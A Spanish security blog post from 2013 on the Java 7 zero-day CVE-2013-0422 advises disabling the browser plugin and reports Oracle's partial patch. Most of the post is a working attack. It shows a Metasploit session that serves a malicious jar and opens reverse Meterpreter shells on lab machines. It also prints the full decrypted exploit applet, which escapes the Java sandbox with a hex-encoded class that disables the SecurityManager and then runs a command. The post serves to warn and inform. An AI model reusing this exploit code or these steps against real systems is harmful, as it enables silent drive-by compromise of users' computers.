Nuevo 0-day de Java urge a desactivar el plugin del navegador

Hace unas horas Kafeine nos avisaba en su blog 'Malware don't need Coffee' de un nuevo 0-day que parece afectar a todas las versiones de Java 7 (incluida la actualización 10) y que podría permitir a un atacante ejecutar código arbitrariamente.

De momento no existe un análisis técnico detallado del problema, que parece ser una combinación de dos vulnerabilidades (una de ellas en el API Reflection), pero ya se han identificado numerosos sitios que podrían haber sido comprometidos a principios de año y que contienen este exploit para instalar malware de forma silenciosa (drive-by-download). Basta que el equipo de la víctima utilice un navegador con el plugin de java activado...

Todavía no hay parche de Oracle (el Critical Patch Updates oficial está previsto para el 15 de enero) y el código ya circula por Internet. Además el crimeware no pierde el tiempo para añadirlo a su arsenal: Blackhole, Nuclear Pack, Cool, Redkit... por lo que la única solución pasa por desactivar Java hasta nueva noticia.

ACTUALIZACIÓN 13/01/2013: Oracle publica Java SE 7 Update 11 que soluciona la vulnerabilidad CVE-2013-0422:  

ACTUALIZACIÓN 17/01/2013:  “En base a nuestro análisis, hemos confirmado que la reparación para CVE-2013-0422 es incompleta”, señaló Pawan Kinger, investigador de Trend Micro. Según dice, la vulnerabilidad proviene de fallos en dos partes del código base de Java, y el parche sólo reparó uno de las dos, dejando un agujero que todavía se puede explotar. Fte. FayerWaver

Por último, Metasploit también ha añadido el módulo que ya es totalmente funcional:
 Call trans opt: received. 2-19-98 13:24:18 REC:Loc  
   
    Trace program: running  
   
       wake up, Neo...  
     the matrix has you  
    follow the white rabbit.  
   
      knock, knock, Neo.  
   
             (`.     ,-,  
             ` `.  ,;' /  
              `. ,'/ .'  
              `. X /.'  
         .-;--''--.._` ` (  
        .'      /  `  
        ,      ` '  Q '  
        ,     ,  `._  \  
      ,.|     '   `-.;_'  
      : . ` ;  ` ` --,.._;  
       ' `  ,  )  .'  
        `._ , '  /_  
          ; ,''-,;' ``-  
          ``-..__``--`  
   
   
     =[ metasploit v4.6.0-dev [core:4.6 api:1.0]  
 + -- --=[ 1074 exploits - 570 auxiliary - 170 post  
 + -- --=[ 265 payloads - 28 encoders - 8 nops  
   
 msf > use exploit/multi/browser/java_jre17_jmxbean  
 msf exploit(java_jre17_jmxbean) > rexploit  
 [*] Reloading module...  
 [*] Exploit running as background job.  
   
 [*] Started reverse handler on 192.168.1.128:4444   
 [*] Using URL: http://0.0.0.0:8080/j5jwNI  
 [*] Local IP: http://192.168.1.128:8080/j5jwNI  
 [*] Server started.  
 msf exploit(java_jre17_jmxbean) > [*] 192.168.1.147  java_jre17_jmxbean - handling request for /j5jwNI  
 [*] 192.168.1.147  java_jre17_jmxbean - handling request for /j5jwNI/  
 [*] 192.168.1.147  java_jre17_jmxbean - handling request for /j5jwNI/GapYRtBm.jar  
 [*] 192.168.1.147  java_jre17_jmxbean - handling request for /j5jwNI/GapYRtBm.jar  
 [*] Sending stage (30216 bytes) to 192.168.1.147  
 [*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.147:2391) at 2013-01-10 20:41:37 +0100  
 [*] 192.168.1.128  java_jre17_jmxbean - handling request for /j5jwNI  
 [*] 192.168.1.128  java_jre17_jmxbean - handling request for /j5jwNI/  
 [*] 192.168.1.128  java_jre17_jmxbean - handling request for /j5jwNI/sNJpvmja.jar  
 [*] 192.168.1.128  java_jre17_jmxbean - handling request for /j5jwNI/sNJpvmja.jar  
 [*] Sending stage (30216 bytes) to 192.168.1.128  
 [*] Meterpreter session 2 opened (192.168.1.128:4444 -> 192.168.1.128:54260) at 2013-01-10 20:41:47 +0100  
   
 msf exploit(java_jre17_jmxbean) > sessions -i 1  
 [*] Starting interaction with 1...  
   
 meterpreter > sysinfo  
 Computer  : juan-c0de875735  
 OS     : Windows XP 5.1 (x86)  
 Meterpreter : java/java  
 meterpreter > exit  
 [*] Shutting down Meterpreter...  
   
 [*] 192.168.1.147 - Meterpreter session 1 closed. Reason: User exit  
 msf exploit(java_jre17_jmxbean) > sessions -i 2  
 [*] Starting interaction with 2...  
   
 meterpreter > sysinfo  
 Computer  : Juans-MacBook-Pro.local  
 OS     : Mac OS X 10.7.5 (x86_64)  
 Meterpreter : java/java  
 meterpreter > exit  
 [*] Shutting down Meterpreter...  
   
 [*] 192.168.1.128 - Meterpreter session 2 closed. Reason: User exit  


Bonus - código descifrado desde Rusia con amor:
/*
Java 0day 1.7.0_10 decrypted source
Originaly placed on https://damagelab.org/index.php?showtopic=23719&st=0
From Russia with love.
*/

import java.applet.Applet;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder;
import com.sun.jmx.mbeanserver.MBeanInstantiator;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.lang.reflect.Method;

public byte[] hex2Byte(String paramString)
{
    byte[] arrayOfByte = new byte[paramString.length() / 2];
    for (int i = 0; i < arrayOfByte.length; i++)
    {
      arrayOfByte[i] = (byte)Integer.parseInt(paramString.substring(2 * i, 2 * i + 2), 16);
    }
    return arrayOfByte;
 }

public static String ByteArrayWithSecOff = & #34;CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F07002001
 00063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C6501
 00124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F4578
 63657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F
 07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F757263
 6546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F
 457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A65637401000142
 0100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E41637469
 6F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F
 50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C6567656445
 7863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176
 612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A
 6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000
 020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100
 040009000C00030003000B000000120004000000080004000B0009000C000D000D000C0000001600
 02000D0000000D000E00010000000E000F001000000011000000100002FF000C0001070012000107
 0013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B0000000
 02000B0000000A00020000001000040011000C0000000C00010000000C000F001000000001001600
0000020017";

  public void init()
  {
    try
    {

      byte[] arrayOfByte = hex2Byte(ByteArrayWithSecOff);
      JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();
      JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null);
      MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();
      ClassLoader a = null;
      Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);
      Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);
      MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
      MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
      MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
      MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
      MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
      Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
      MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
      MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
      MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
      MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
      Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
      MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
      MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
      Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, arrayOfByte });
      localClass3.newInstance();
      Runtime.getRuntime().exec("calc.exe");
    }   
   catch (Throwable ex) {}
  }
 }

Comentarios